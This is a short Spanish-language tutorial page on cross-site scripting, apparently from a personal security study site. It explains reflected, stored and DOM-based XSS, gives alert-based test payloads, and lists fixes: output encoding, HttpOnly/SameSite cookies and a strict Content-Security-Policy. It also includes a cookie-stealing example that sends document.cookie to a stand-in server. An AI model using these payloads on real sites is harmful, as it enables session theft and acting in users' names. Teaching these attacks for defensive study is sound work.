Skip to content

XSS (Cross-Site Scripting) ​

con laboratorio

Qué es ​

La web muestra lo que yo escribo sin limpiarlo, así que puedo meter JavaScript y se ejecuta en el navegador de quien vea la página. Con eso se pueden robar cookies, hacer acciones en nombre de la víctima o cambiar lo que ve.

Tipos ​

TipoDónde se queda mi código
ReflejadoEn la propia petición (un enlace que envío a la víctima)
AlmacenadoGuardado en la web (un comentario) y lo ve todo el mundo
Basado en DOMLo ejecuta el JavaScript de la página, sin pasar por el servidor

Prueba básica ​

html
<script>alert(1)</script>
<img src=x onerror=alert(1)>

Si no salta, hay que mirar en el código fuente en qué contexto aparece mi texto (dentro de HTML, de un atributo, de una cadena JavaScript) y escapar de él: cerrar la comilla o la etiqueta antes.

Robo de cookies (ejemplo) ​

html
<script>fetch('https://mi-servidor/?c='+document.cookie)</script>

Cómo se arregla ​

  • Codificar la salida según el contexto (HTML, atributo, JS).
  • Cookies con HttpOnly y SameSite.
  • Cabecera Content-Security-Policy estricta.

Contenido propio con fines educativos. Sin flags ni material de exámenes.